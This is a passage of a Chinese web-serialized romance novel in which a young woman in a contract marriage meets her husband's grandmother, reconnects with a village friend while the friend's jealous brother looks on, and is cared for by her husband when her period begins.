两人上了摩托车,往槐花胡同开。 转眼到了周末。 苏念橙起了个大早,洗漱完站在床边,看着床上那两件裙子犯愁。 穿哪件? 碎花的,还是红的? 她拿起碎花的比了比,又拿起红的比了比。 红的太显眼了,第一次见长辈,穿这么艳不好吧? 可碎花的又有点素…… 她在镜子前站了好一会儿,最后拿起那件碎花的。 算了,还是素点好。 她换好裙子,对着镜子照了照,又把头发重新梳了一遍,扎成马尾。 深吸一口气,推门下楼。 越靳临正坐在客厅里看报纸,听见动静抬起头。 他愣住了。 碎花裙刚到膝盖下面一点,腰身收得细细的,露出一截白生生的小腿。 她站在楼梯口,脸红红的,眼睛亮亮的,像早晨刚开的花。 “好……好看吗?”苏念橙被他看得有点紧张,手指揪着裙边。 越靳临喉结动了动,“好看。” 第三十章 他对你好吗? 闻言,苏念橙脸更红了,低下头不敢看他,小声说:“谢谢啦。” 越靳临站起来,走过去,他笑了笑,“实话实说。” 他在她面前停下,低头看着她。 “走吧。”他说。 苏念橙点点头,跟着他往外走。 到了楼下,越靳临跨上摩托车。 苏念橙坐到他身后,轻轻搂住他的腰。 摩托车发动,往军区大院开去。 风呼呼地吹,她把脸埋在他背上,闻着那股淡淡的肥皂味,心里还是有点紧张。 “那个……”她忽然想起什么,“越靳临。” “嗯?” “你奶奶知道……”她顿了顿,“知道我们是协议结婚吗?” 摩托车猛地刹了一下。 苏念橙往前一冲,额头撞上他后背。 “对不起对不起!”她赶紧往后缩。 越靳临没回头,只是停下车,转过身看着她。 他脸上没什么表情,但那双眼眸黑沉沉的,盯着她看了好几秒。 “不知道。”他说。 苏念橙愣了一下,“啊?” “我没告诉她。”越靳临看着她,“她一直盼着我娶媳妇儿,要是知道是协议的,会生气。” 苏念橙眨眨眼,好像明白了什么。 “那……”她咬了咬嘴唇,“那怎么办?” 越靳临沉默了两秒。 “你能配合我一下吗?”他问。 苏念橙愣住了,“配合?怎么配合?” “就是别让她看出来我们是协议的。” 苏念橙想了想,点点头,“那当然可以啊。不能让奶奶伤心。” 越靳临看着她,嘴角微微弯了弯。 “那你知道怎么配合吗?” 苏念橙摇摇头,“不知道。” “很简单。”他说,“别对我那么客气就行。” 苏念橙愣了一下,“客气?” “嗯。”他转过身去,发动摩托车,“别老说谢谢,别老躲着我。该使唤使唤,该骂骂。” 苏念橙眨眨眼,似懂非懂,“就……就这样?” “就这样。”摩托车往前开,“做得到吗?” 苏念橙点点头,“应该……应该可以吧。” 她心里还是有点懵。 不客气就行? 那她要怎么做? 她想了想,试着开口,“那个……越靳临。” “嗯?” “你开慢点,风有点大。” 越靳临嘴角弯了弯,“好。” 他把车速放慢了些。 苏念橙愣了愣,心里涌起一股奇怪的感觉。 好像是挺简单的。 摩托车开了半个多钟头,终于到了军区大院。 大门是灰砖砌的,门口站着两个穿军装的哨兵,身板挺得笔直。 越靳临停下车,跟哨兵点点头,那人敬了个礼,放他们进去。 苏念橙好奇地四处张望。 大院里头挺宽敞,路两边种着梧桐树,叶子黄了一半。 一栋栋小楼整整齐齐排着,都是红砖青瓦,看着就气派。 越靳临把车停在一栋小楼门口,牵着苏念橙往里走。 “到了。”他说。 苏念橙深吸一口气,跟着他进门。 刚推开院门,就听见里头传来一个中气十足的声音。 “靳临回来了?” 一个头发花白的老太太从屋里迎出来,穿着件藏青色的褂子,精神头十足。 她目光越过越靳临,落在苏念橙身上,眼睛亮了。 “这就是念橙吧?” 苏念橙赶紧上前一步,规规矩矩地鞠了个躬,“奶奶好。” 老太太上下打量着她,眼里带着笑意,“好,好!长得真水灵!” 她拉起苏念橙的手,左看右看,越看越满意。 “就是瘦了点。”她看向越靳临,“靳临,你没给人家吃饱饭?” 越靳临嘴角抽了抽,“吃了。” 老太太哼了一声,“吃了还这么瘦?肯定是你没照顾好。” 她拉着苏念橙往里走,“走,进屋。奶奶给你做好吃的。” 苏念橙被她拉着,回头看了越靳临一眼。 他站在原地,嘴角微微弯着,朝她点点头。 苏念橙心里踏实了些,跟着老太太进了屋。 屋里收拾得干干净净,八仙桌,太师椅,墙上挂着几幅字画,看着就讲究。 老太太让苏念橙坐下,自己忙着去倒水。 “奶奶您别忙,”苏念橙赶紧站起来,“我自己来就行。” “坐着坐着!”老太太把她按回椅子上,“到了奶奶这儿,就别客气。” 她倒了杯水递过来,又在苏念橙旁边坐下,笑眯眯地看着她。 “念橙啊,你跟奶奶说说,靳临对你好不好?” 苏念橙愣了一下,点点头,“好,他对我特别好。” 老太太眼睛亮了,“怎么个好法?” 苏念橙想了想,“他给我做饭,给我找工作,还给我买衣服。我受伤了,他带我去诊所,还天天做好吃的给我补身体。” 老太太听得眉开眼笑,“真的?” “真的。”苏念橙认真点头,“他做的红烧肉可好吃了。” 老太太笑出声来,“那小子还会做饭?在家的时候,可是油瓶倒了都不扶的主儿。” 苏念橙愣了一下,“他以前不会做饭?” “不会。”老太太摆摆手,“毕业前啥也不会,毕业后回来也不知道啥时候学的。我还纳闷呢,原来是为了照顾媳妇儿。” 她拍拍苏念橙的手,“念橙啊,那小子对你好,你就安心受着。他要是敢欺负你,你跟奶奶说,奶奶替你收拾他。” 苏念橙心里一暖,“谢谢奶奶。” “谢啥。”老太太站起来,“走,跟奶奶去厨房,咱娘俩一块儿做饭。” 苏念橙赶紧跟上去,“我帮您。” 厨房不大,但收拾得井井有条。 老太太系上围裙,开始忙活。 苏念橙在旁边打下手,洗菜切菜,手脚利索。 老太太看着她干活,眼里带着赞赏,“这丫头,干活利索。” 苏念橙不好意思地笑笑,“在乡下干惯了。” “乡下好啊。”老太太说,“踏实,肯吃苦。比那些娇滴滴的强多了。” 她把鸡放进锅里,盖上盖子,转头看着苏念橙。 闻言苏念橙愣了下,她梨涡浅笑,没说话。 “念橙啊,你跟奶奶说实话,靳临那小子,真的对你好?” 苏念橙点点头,“真的。他对我特别好。” 老太太看着她,沉默了两秒。 “那你知道他以前的事吗?” 第三十一章 她一个人不习惯 “以前的事?” 老太太眉眼微微上扬,“他干工地这些年,有一次受了个伤,虽说不影响过日子,但总归……” “奶奶。”一个低沉的声音从门口传来。 两人回头,越靳临站在厨房门口,脸上没什么表情。 “您又瞎说什么呢?” 老太太瞪了他一眼,“我跟我孙媳妇儿说说话,碍你什么事了?” 越靳临走过来,看了苏念橙一眼,“别听她瞎说。” 苏念橙眨眨眼,有点懵。 老太太哼了一声,“行行行,我不说了。你出去吧,别在这儿碍手碍脚的。” 越靳临没动,“我来帮忙。” “不用。”老太太把他往外推,“你出去浇花,我跟念橙说话。” 越靳临被她推出厨房,回头看了苏念橙一眼。 苏念橙朝他点点头,意思是没事。 厨房里又只剩下两人。 老太太继续忙活,一边忙一边跟苏念橙聊天。 “念橙啊,你知道靳临小时候什么样吗?” 苏念橙摇摇头,“不知道呢。” 老太太笑了,“那小子,小时候可皮了。七八岁的时候,爬树掏鸟窝,从树上摔下来,腿折了。躺床上三个月,还嚷嚷着要再去爬。” 苏念橙忍不住笑了。 “还有一回,”老太太说得起劲,“他十二三岁的时候,跟人打架,把人家鼻子打破了。人家家长找上门来,他还梗着脖子不认错。” 她学着越靳临的样子,“奶奶,是他先骂我的。” 苏念橙笑出声来,“还挺能说会道的。” 老太太看着她笑,自己也笑了,“那小子,长大了倒稳重了。就是太闷,不会说话。我还担心他娶不着媳妇儿呢。” 她看向苏念橙,“没想到他倒有福气,娶了你这么个好姑娘。” 苏念橙低下头,脸有点红。 “奶奶,您别这么说……” “我说的是实话。”老太太拍拍她的手,“你是个好孩子,我看得出来。” 苏念橙心里暖暖的,眼眶有点酸。 她从小到大,除了母亲给予过她肯定,还未有过其他的长辈。 小时候爷爷奶奶走的也早,她更是没体验过这种温情。 “谢谢奶奶,您也很好。” 闻言老太太嘿嘿一笑,“你这小丫头,嘴真甜。” 两人就这样在厨房里忙活着,有说有笑。 越靳临在小院里都能听到两人的笑声,他也跟着嘴角上扬。 一个小时后,鸡炖好了,菜炒好了,米饭也蒸好了。 老太太招呼越靳临进来端菜,三人围坐在八仙桌边。 “来,念橙,尝尝奶奶炖的鸡。”老太太给她夹了块肉。 苏念橙咬了一口,肉质鲜嫩,汤汁浓郁,“真好吃!奶奶厨艺简直绝啦!” 老太太乐了,“好吃就多吃点。你太瘦了,得好好补补。” 苏念橙抬头回应,“我知道啦,奶奶。” 越靳临在旁边默默吃饭,时不时抬头看苏念橙一眼。 她跟奶奶聊得热络,脸上的笑就没断过。 他嘴角微微弯了弯,低头继续吃饭。 吃完饭,老太太又让越靳临去后院浇花,自己拉着苏念橙坐到沙发上。 “念橙啊,”她拉着苏念橙的手,“你跟奶奶说说,以后打算做什么?” 苏念橙愣了一下,没想到她会问这个。 她想了想,认真地说,“奶奶,我想考大学。” 老太太眼睛亮了,“考大学?好啊!有志向!” 苏念橙有点不好意思,“我底子薄,初中没毕业,得从头补。但我一定努力,争取考上。” 老太太点点头,“好,好!年轻人就该有上进心。考上了,奶奶给你摆酒庆祝。” “那就谢谢奶奶啦~”苏念橙甜甜说道。 只不过等她考上,也是一年后的事情。 到时候她哥越靳临都分开了… “这有什么好谢谢。”老太太说着从口袋里掏出个红包,塞到苏念橙手里。 “拿着,奶奶的一点心意。” 苏念橙愣住了,赶紧推辞,“奶奶,这不行,我不能要——” “拿着!”老太太把红包按在她手心,“这是给孙媳妇儿的,有什么不能要的?” 苏念橙还要推辞,身后传来脚步声。 越靳临走过来,看了一眼那红包,“奶奶给的,你就拿着吧。” 苏念橙抬头看他。 他站在她身边,低头看着她,眼里带着笑意。 “奶奶的一点心意,”他说,“别推了。” 苏念橙咬了咬嘴唇,终于点点头,“谢谢奶奶。” 老太太满意地笑了,“这才对嘛。” 她又拉着苏念橙说了好一会儿话,问了她在乡下的日子,问了她怎么跟越靳临认识的。 苏念橙拣着能说的说了,没提那些糟心事。 老太太听得认真,时不时点点头。 不知不觉,天就黑了。 老太太看看窗外,“哎呀,都这么晚了。” 她站起来,“念橙啊,今晚就别走了,住奶奶这儿。” 苏念橙愣了一下,看向越靳临。 越靳临开口,“奶奶,我们明天还有事。” 老太太瞪了他一眼,“有什么事比陪我孙媳妇儿重要?” 越靳临沉默了两秒,“工地有事。” 老太太哼了一声,“行行行,你忙你的。那念橙留下,你自个儿回去。” 越靳临嘴角抽了抽,“不行。” “怎么不行?” “她一个人不习惯。”他说。 闻言苏念橙脸都红了。 这人怎么胡说八道的。 老太太看看他,又看看苏念橙,忽然笑了。 “行行行,不拆散你们。”她摆摆手,“那就早点回去,天黑了路不好走。” 苏念橙站起来,跟老太太道别,“奶奶,那我先走了。改天再来看您。” 老太太拉着她的手,“好,好。常来啊,奶奶给你做好吃的。” 苏念橙点点头,跟着越靳临往外走。 走到门口,她忽然想起什么,回头看了一眼。 老太太还站在门口,笑眯眯地看着他们。 她心里一暖,朝老太太挥挥手。 老太太也挥挥手。 两人上了摩托车,往槐花胡同开。 夜风凉凉的,吹在脸上很舒服。 苏念橙搂着越靳临的腰,把脸埋在他背上。 “你奶奶真好。”她说。 越靳临嗯了一声。 她沉默了一会儿,又开口。 “越靳临。” “嗯?” “谢谢你带我回来。” “不客气。” 第三十二章 正常夫妻 回到家,苏念橙上了楼,关上门。 她坐在床边,把那个红包拿出来。 红纸包得整整齐齐,摸起来鼓鼓囊囊的。 她小心翼翼地拆开,往里一看,愣住了。 一叠钞票,厚厚一摞,少说有五十块。 还有几张布票粮票,叠得整整齐齐。 五十块。 她一个月工钱才十八块。 她捧着那些钱,心里又暖又有点慌。 奶奶怎么给这么多? 她坐了一会儿,起身下楼。 越靳临正坐在客厅里,手里拿着张报纸,听见动静抬起头。 “怎么了?” 苏念橙走过去,把那些钱和票摊开在桌上,“奶奶给的,太多了。” 越靳临低头看了一眼,“不多。” 苏念橙急了,“怎么不多?五十块呢!我一个月工钱才十八块。” “那是她给你的。”越靳临打断她,放下报纸,“奶奶疼你,你就拿着。” 苏念橙她低下头,看着那些钱,心里酸涩。 “那……”她咬了咬嘴唇,“我改天买点东西去看奶奶。她喜欢吃什么?我记着,下次带去。” 越靳临看着她,嘴角微微弯了弯,“好。” “那你记得提醒我,”苏念橙认真地说,“我怕忘了。” “不用提醒。”他说,“想去的时候叫我,我送你。” 苏念橙愣了一下。 想去的时候叫我。 这话说得,好像他们真的是正常夫妻似的。 她抬起头,看着越靳临。 他坐在那儿,昏黄的灯光照在他脸上,把棱角分明的轮廓照得柔和了些。 他也在看她,那双眼眸黑沉沉的,映着小小的她。 苏念橙心跳忽然快了几拍。 她赶紧低下头,把那些钱和票收起来,“那就先这么说好。我去睡了。” “嗯,晚安。”越靳临应了一声。 “晚安。” 她转身上楼,走到楼梯口,又忍不住回头看了一眼。 他还坐在那儿,手里又拿起报纸,好像在认真看。 她收回目光,快步上楼。 关上门,她靠在门板上,捂着胸口。 心跳还是很快。 她走到桌边坐下,把那些钱和票重新拿出来,一张一张看过去。 奶奶真好。 她想。 给她这么多钱,还给她布票粮票。 眼眶又酸了。 她使劲眨了眨眼,把那些眼泪憋回去。 越靳临和奶奶都对她很好。 把钱和票收好,她躺到床上,就睡了。 第二天一早,苏念橙照常去上班。 还是越靳临骑摩托车送她,还是那间单独的办公室,还是那些整理单据的活。 她干得认真,一上午很快就过去了。 中午,越靳临来找她吃饭。 两人在工地食堂吃了饭,他送她回办公室。 “下午我有点事,”他说,“你下班你得自己回去。你能行吗?如果不行,等我忙完再送你。” 苏念橙摇摇头,“没事,我自己可以的,也没多远。你忙你的。” 越靳临点点头,“好,那你注意安全。” “好。” 越靳临走后,苏念橙回到办公室,继续干活。 下午的活不多,她干完就没事了,翻开带来的书开始复习。 看着看着,她想起奶奶给的那些布票。 要不去供销社看看,给奶奶买点东西? 老人家喜欢什么? 她想起奶奶说爱吃橘子。 那就买橘子吧。 再买点别的。 她收拾好东西,锁上门,往供销社走。 工地离供销社不远,走一刻钟就到。 她进去转了转,买了二斤橘子,又买了些点心,用纸包好。 付完钱,她拎着东西往回走。 走到胡同口,忽然听见身后有人叫她。 “念橙!” 她回过头,何佩佩站在几步外,正朝她挥手。 “念橙!”何佩佩跑过来,一把拉住她,“好久没见你了!我还以为你回乡下了,你最近怎么样?” 苏念橙一时之间不知道该怎么跟何佩佩解释。 她看着何佩佩那双亮晶晶的眼睛,想起在乡下那些年,每次她受了委屈,都是何佩佩第一个跑来找她,给她带吃的,陪她说话。 可她来省城这么久,除了第一天,再也没去找过她。 “佩佩,”她咬了咬嘴唇,“我……我结婚了。” 何佩佩愣住了。 “什么?”她瞪大眼睛,“你结婚了?什么时候的事?嫁给谁了?” 苏念橙低下头,“就……来省城那天。嫁了个干工地的。” 何佩佩张着嘴,半天没说出话来。 “你……”她一把抓住苏念橙的胳膊,“这么大的事你怎么不告诉我?苏念橙,你太不把我当朋友了吧!” 苏念橙心里一酸,抬起头看着她,“佩佩,对不起……” “对不起有什么用?”何佩佩眼眶都红了,“我天天在家等你来找我,你倒好,悄没声儿就嫁人了!你心里还有没有我这个朋友?” 苏念橙心里更难受了。 她知道何佩佩是真心对她好,可因为何钧礼,她总觉得自己跟何家扯上关系就别扭。 “佩佩,你别生气。”她拉着何佩佩的手,“我想找你没找着呢。你看我今天不是告诉你了吗?” 何佩佩哼了一声,“那是碰巧遇上的!我要是不喊你,你是不是就不打算告诉我了?” 苏念橙张了张嘴,说不出话来。 何佩佩看着她那副样子,气消了一半,“行了行了,别这副表情。我不生气了还不行吗?” 她上下打量着苏念橙,“你住哪儿?那个干工地的对你好不好?你怎么瘦成这样了?” 苏念橙心里一暖,“我住槐花胡同三号楼。他对我挺好的,没瘦,还胖了呢。” “三号楼?”何佩佩眼睛亮了,“那不就在我们家隔壁吗?咱俩住这么近,你都不来找我?” 苏念橙低下头,“我……我最近在上班,还要复习考大学,有点忙。” “考大学?”何佩佩眼睛更亮了,“真的?你也要考大学?” 苏念橙点点头,“嗯。” 何佩佩一把搂住她,“太好了!咱俩一起考!我也在复习呢!” 苏念橙愣住了,“你也要考?” “对啊!”何佩佩松开她,“我不是初中毕业就进厂了嘛,干了一年多,累得要死。现在想通了,还是得读书。” 苏念橙看着她,笑了笑,“那正好我们一起复习。” 何佩佩用力点头,“好!对了,你现在有空吗?去我家坐坐?我妈今天煮了糖水,可好喝了。” 第三十三章 他很好 苏念橙犹豫了一下。 她想起那天在何家发生的事,想起何母打量她的那个眼神。 那种眼神,让她很不舒服。 “我……” “走吧走吧!”何佩佩拉着她往前走,“就坐一会儿,喝碗糖水。你要是不去,我就真生气了。” 苏念橙被她拉着,不好再拒绝。 她随口问了一句,“你哥和嫂子不在家吧?” 何佩佩撇撇嘴,“我那个矫情的嫂子,一早就去上课了。我哥上班还没回来呢,估计中午也不回来。” 苏念橙这才放心了些,跟着她往何家走。 何家还是那间屋子,收拾得干干净净。 何母正坐在桌边择菜,听见动静抬起头。 看见苏念橙,她愣了一下。 苏念橙今天穿了那件碎花裙,头发扎得整整齐齐,脸色也比上次好多了。 何母上下打量了她一眼,“佩佩,你朋友来了?” 何佩佩点点头,“妈,这是念橙,我跟你说过的。” 何母嗯了一声,目光在苏念橙身上转了一圈,“坐吧,桌上有糖水,自己盛。” 说完,她低头继续择菜,没再说话。 苏念橙也不介意,反而觉得这样更自在。 何佩佩拉着她坐到桌边,给她盛了碗糖水。 红豆煮得软烂,甜丝丝的。 “好喝。”苏念橙说。 何佩佩笑了,“那当然,我妈手艺可好了。” 两人一边喝糖水一边聊天,何佩佩问了她好多问题,嫁的人什么样,对她好不好,在哪儿上班。 苏念橙一一答了,拣着能说的说。 正说着,门忽然被推开了。 何钧礼站在门口。 他穿着那件白衬衫,手里拎着个公文包,像刚下班。 看见苏念橙,他脸上的表情僵住了。 苏念橙手里的勺子顿了顿。 何佩佩愣了一下,“哥?你怎么回来了?不是说中午不回来吗?” 何钧礼没理她,只是盯着苏念橙,眉头皱起来。 “你怎么在这儿?” 苏念橙放下勺子,站起来,“佩佩叫我来的。我这就走。” “走什么走?”何佩佩拉住她,“糖水还没喝完呢。” 她看向何钧礼,“哥,你干嘛呀?念橙是我朋友,来家里坐坐怎么了?” 何钧礼脸色沉了沉,“没事。” 他把公文包放到桌上,在另一边坐下。 苏念橙站在原地,走也不是,坐也不是。 何佩佩拉着她坐下,“别理他,继续喝。” 苏念橙看了何钧礼一眼,他正盯着她,眼神复杂得很。 她收回目光,低头继续喝糖水。 屋里安静得有点尴尬。 何母择完菜,端着盆进了厨房。 何佩佩看看她哥,又看看苏念橙,总觉得哪里不对。 “哥,”她开口,“你认识念橙?” 何钧礼沉默了两秒,“认识。在乡下的时候,她照顾过我。” 何佩佩眼睛亮了,“真的?那你怎么不早说?” 何钧礼没接话。 苏念橙放下勺子,站起来,“佩佩,我先走了。改天再来看你。” 何佩佩急了,“这才喝了一半呢——” “没事。”苏念橙笑了笑,“糖水很好喝,谢谢阿姨。” 她转身往外走。 “苏念橙。”何钧礼忽然开口。 苏念橙脚步顿了顿,没回头。 何钧礼站起来,看着她,“你……你那个男人,对你好不好?” 他不知道自己突然犯什么毛病,竟然关心起她来了。 苏念橙愣住了。 她回过头,看着何钧礼。 他站在那儿,脸上的表情说不清是关心还是别的什么。 她忽然觉得有点好笑。 “好。”她说,“他对我很好。” 说完,她推门出去。 何佩佩追出来,“念橙,你等等——” 苏念橙停下脚步,回过头。 何佩佩跑到她面前,拉着她的手,“我哥那人就那样,你别往心里去。” 苏念橙摇摇头,“没事。” 何佩佩看着她,犹豫了一下,“念橙,你跟我哥是不是有什么事?” 苏念橙愣了一下。 “没什么。”她说,“就是你哥下乡那几年,我照顾过他。” 何佩佩眨眨眼,“就这样?” “就这样。”苏念橙笑了笑,“佩佩,我先回去了。改天找你复习。” 何佩佩点点头,“好。那你路上慢点。” 苏念橙转身往回走。 走到胡同口,她停下脚步,回头看了一眼。 何佩佩还站在门口,朝她挥手。 她挥挥手,继续往前走。 回到家,她推开门,屋里静悄悄的。 越靳临还没回来。 她把给奶奶买的东西放到桌上,根本没将何钧礼的话放心上。 随后她去厨房热了热剩饭,随便吃了点。 吃完饭,她坐到桌边,翻开书继续复习。 看了没一会儿,门被推开了。 越靳临站在门口,手里拎着个纸包。 “回来了?”他走进来,“吃饭了吗?” 苏念橙点点头,“吃了。你呢?” “吃了。”他把纸包放到桌上,“给你带的。” 苏念橙打开一看,是两块炸糕。 还冒着热气。 她心里一暖,“谢谢。” 越靳临在她旁边坐下,“今天怎么样?” 苏念橙咬了口炸糕,“挺好的。对了,我给奶奶买了点东西。” 她指了指桌上的橘子点心。 越靳临看了一眼,“买了就好。” 苏念橙吃完炸糕,擦擦手,“越靳临。” “嗯?” “你……你认识何钧礼吗?” 越靳临愣了一下,“何钧礼?” “就是那天在电影院门口那个。”苏念橙说,“设计院的。” 越靳临点点头,“不认识。怎么了?” 苏念橙咬了咬嘴唇,“他今天问我,你对我好不好。” 越靳临眉头挑了挑,“你怎么说?” “我说好。”苏念橙看着他,“你对我确实好。” 越靳临嘴角微微弯了弯,“嗯。” 苏念橙看着他,忽然问,“你就不问我为什么遇见他?” “你想说的时候自然会说。” 苏念橙愣了一下,心里暖暖的。 “我去佩佩家喝糖水,”她说,“碰见他了。” 越靳临点点头,“嗯。” 苏念橙看着他,忽然想起什么。 “对了,佩佩是我在乡下的好朋友,”她说,“何钧礼是她哥。” 越靳临沉默了两秒。 “嗯,你想跟她来往,就来往。”他说,“不用管别的。” 苏念橙心里一暖,“好。” “越靳临站起来,“早点睡,明天还要上班。” “好。” 苏念橙收拾好东西,上楼睡觉。 第三十四章 你男人 何家。 何佩佩送走苏念橙,一转身就看见何钧礼还站在门口,盯着胡同口的方向出神。 “哥?”她走过去,伸手在他眼前晃了晃,“看什么呢?” 何钧礼回过神,收回目光,“没什么。” “没什么?”何佩佩凑过去,上下打量他,“哥,你不对劲。你跟念橙到底怎么回事?在乡下那几年,她照顾过你,你怎么从来没跟我说过?” 何钧礼皱了皱眉,“有什么好说的?” “怎么不好说?”何佩佩跟在他身后进了屋,“念橙人那么好,你回城的时候也不说谢谢人家。刚才人家来了,你那个脸色,跟谁欠你钱似的。” 何钧礼没接话,走到桌边坐下。 何佩佩也坐下来,撑着下巴看他,“哥,你知道吗?念橙就住在咱们隔壁那栋楼,三号楼。她嫁的那个人,就住那儿。” 何钧礼手顿了顿,“什么?” “三号楼啊。”何佩佩说,“就咱们院隔壁那个三层楼。念橙说她对门那户就是她家。离咱们多近啊,以后我找她玩方便多了。” 何钧礼眉头拧起来,“她嫁的那个干工地的,住三号楼?” “对啊。”何佩佩点点头,“怎么了?” 何钧礼没说话,脸色却沉了下来。 三号楼,那是这一片最好的房子。 独门独户,三层小楼,住得起那地方的,不是干部就是有钱人。 一个干工地的,怎么住得起? 他想起那天在电影院门口,那个男人骑着的那辆幸福250摩托车。 新车,少说也得一千多块。 一个干工地的,买得起? 还有那些布票,厚厚一叠,少说有几十尺。 一个干工地的,攒得出来? 他心里很不是滋味。 何佩佩还在旁边絮叨,“念橙说她对门就是她家,以后我找她玩,几步路就到了。真好,咱俩可以一起复习考大学……” 何钧礼忽然开口,“有什么好的?” 何佩佩愣住了,“啊?” “我说,”何钧礼站起来,声音沉沉的,“有什么好的?她嫁个干工地的,能有什么出息?你跟这种人混在一起,能有什么好处?” 何佩佩瞪大眼睛,“哥,你说什么呢?念橙怎么就没出息了?她对我好,人又聪明,还要考大学呢!” “考大学?”何钧礼冷笑一声,“她一个初中没毕业的,考什么大学?” 何佩佩被他那语气气得脸都红了,“哥!你怎么这样?念橙怎么得罪你了?你要这么说她?” 何钧礼没理她,转身进了自己屋,砰地关上门。 何佩佩站在门口,气得直跺脚。 屋里,何钧礼坐在床边,盯着墙上那张奖状出神。 那是他上大学的奖状,他妈特意裱起来挂墙上的。 他想起那天在电影院门口,苏念橙站在那个男人身边,笑得那么开心。 以前这种笑容只对他有过。 如今却对着别的男人… 在乡下那三年,她对他总是小心翼翼的,说话轻声细语,看他的眼神亮亮的,但总是带着点怯。 可那天她看那个男人的眼神,不一样。 亮亮的,软软的,一点不怕。 他越想越烦躁,站起来在屋里来回走。 她肯定是故意的。 故意找个男人来气他,故意在他面前装出一副过得很好的样子。 一个干工地的,能对她多好? 肯定是装出来的。 他坐下来,又站起来,又坐下。 脑子里乱成一团。 另一边,苏念橙接下来的日子过得挺充实。 白天上班,下午回家复习,偶尔跟何佩佩出去逛逛。 何佩佩是个热闹性子,跟她在一起,时间过得飞快。 两人去图书馆借书,去供销社买笔买本子,坐在公园的长椅上讨论数学题。 何佩佩数学不好,苏念橙就一道一道给她讲。 “念橙,你咋这么聪明?”何佩佩趴在桌上,“我看了半天看不懂,你一看就会。” 苏念橙笑了笑,“我也是琢磨了好久。” 何佩佩撑着头看她,“念橙,你变了。” 苏念橙愣了一下,“哪儿变了?” “说不上来。”何佩佩认真想了想,“就是比以前自信了。在乡下的时候,你老低着头,话也少。现在不一样了,眼睛亮亮的,说话也大声了。” 苏念橙低下头,笑了笑。 “可能是因为有人对我好吧。”她说。 何佩佩眨眨眼,“你男人?” 苏念橙脸一红,点点头,“嗯。” 何佩佩笑了,“那就好。他对你好就行。” 过了两天,苏念橙又跟越靳临去了一趟军区大院。 老太太提前得了信儿,早早就在门口等着。 看见苏念橙,她眼睛一亮,“念橙来了!” 苏念橙把带来的橘子点心递过去,“奶奶,给您买的。” 老太太接过来,笑得合不拢嘴,“这孩子,来就来,还带什么东西。” 她拉着苏念橙往里走,“快进屋,奶奶给你炖了鸡汤。” 越靳临跟在后面,看着两人热络的背影,嘴角弯了弯。 这次苏念橙放开了些,跟老太太聊了一下午。 说了上班的事,说了复习的事,还说了跟何佩佩一起学习的事。 老太太听得认真,时不时点点头。 “那个何佩佩,”老太太问,“是你朋友?” 苏念橙点点头,“嗯,在乡下认识的。她对我特别好。” 老太太笑了,“那就好。有朋友陪着,日子过得快。” 吃完饭,两人往回走。 摩托车开到半路,苏念橙忽然觉得小腹一阵坠痛。 她皱了皱眉,没吭声。 又开了一会儿,那痛劲儿越来越明显,一阵一阵的,像有什么东西往下坠。 她咬着嘴唇,额头渗出细汗。 车停在楼下,越靳临回过头,看见她脸色不对。 “怎么了?” 苏念橙摇摇头,“没事。” 她下了车,腿有点软,扶着车把站了一会儿。 越靳临走过来,低头看她,“脸色这么白,还说没事?” 苏念橙咬着嘴唇,“就是……肚子有点疼。” 越靳临眉头皱起来,关心道:“疼得厉害?要不要去诊所看看?” 苏念橙脸一下子红了。 她想起刚才在路上算的日子,算来算去,今天应该是那个日子。 可她的东西…… “不用去诊所。”她小声说,“就是……就是那个来了。” 第三十五章 生理期 越靳临愣了一下,“哪个?” 苏念橙脸更红了,低下头盯着自己的鞋尖,支支吾吾,“就是……女人那个……” 越靳临反应过来,沉默了两秒。 “那……要不要喝点热水?” 苏念橙摇摇头,“我……我没有那个……” 越靳临看着她,“没有什么?” 苏念橙恨不得找个地缝钻进去。 她低着头,声音小得像蚊子哼,“就是……卫生巾……” 越靳临又沉默了两秒。 “你等着。”他说,“我去买。” 苏念橙抬起头,“啊?” “你在家等着。”越靳临已经跨上摩托车,“我去去就回。” 苏念橙急了,“不用不用,我自己去就行——” “你这样怎么去?”越靳临看着她,“在家待着,别动。” 说完,摩托车轰的一声窜出去,消失在胡同口。 苏念橙站在原地,脸红得能滴血。 她捂着发烫的脸,小跑着上楼。 回到家,她换了条裤子,躺到床上。 小腹还是疼,一阵一阵的,像有人在里头拧。 她蜷缩着身子,盯着天花板,心里又暖又羞。 他怎么…… 怎么就那么自然地去了? 供销社。 越靳临停好车,大步走进去。 这会儿人不多,几个售货员正在聊天。 他走到柜台前,“同志,那个……” 他犹豫了下,不知道该怎么说。 售货员抬起头,“同志,买什么?” 越靳临沉默了两秒,“卫生巾。” 售货员愣了一下,上下打量了他一眼。 越靳临脸上没什么表情,但那耳尖,悄悄红了。 “要哪种?”售货员问。 越靳临想了想,“哪种好?” 售货员笑了,“这得看个人。有长条的,有短点的,有厚的,有薄的。” 越靳临沉默了两秒,“每样来一点。” 售货员愣了,“每样?” “嗯。”他从口袋里掏出钱和票,“每样都拿点。” 售货员看着他,眼里带着笑意,“同志,你对你媳妇儿真好。” 越靳临没接话。 售货员麻利地给他包好,又想起什么,“对了,同志,要不要买条裤子?” 越靳临愣了一下,“裤子?” “看你媳妇儿穿多大码的?”售货员说,“那个来了,裤子容易弄脏。买条换着穿。” 越靳临想了想,“三尺一的腰。” 售货员点点头,从柜台底下拿了条藏青色的裤子,“这条,的确良的,耐穿。” 越靳临接过来看了看,“好,要了。” 他又想起什么,“有红糖吗?” “有。”售货员给他称了一斤。 越靳临付完钱,拎着大包小包往外走。 几个售货员看着他的背影,小声嘀咕。 “这男人真帅。” “对媳妇儿真好,连卫生巾都帮买。” “你看他那耳朵,红的。” “估计也是头一回买。” 越靳临走出供销社,跨上摩托车,往家开。 回到家,苏念橙已经疼得趴在沙发上了。 她蜷着身子,脸埋在靠枕里,额头抵着冰凉的皮革,小腹那股坠痛一阵紧似一阵,像有人拿着钝刀在里头绞。 门被推开,脚步声由远及近。 “念橙。” 越靳临蹲下来,手轻轻搭在她肩上。 苏念橙抬起头,额角全是冷汗,碎发湿漉漉地贴在脸上。 她脸色白得吓人,嘴唇都没了血色。 越靳临眉头拧起来,伸手把她额上的汗抹掉,“疼成这样?” 苏念橙想摇头,可那痛劲儿又上来,她咬着嘴唇,闷闷地嗯了一声。 “别动。”越靳临扶着她坐起来,把那个大袋子放到她手边,“买好了。你看看。” 苏念橙低头一看,愣住了。 老大一个袋子,鼓鼓囊囊的,少说装了十来包。 她打开往里瞧,长的短的,厚的薄的,每样都有。 “你……”她抬起头,声音都有点抖,“你怎么买这么多?” 越靳临蹲在她面前,脸上显少的温和,耳尖还红着。 “不知道你用什么样的,”他说,“就都买了点。你去换吧。” 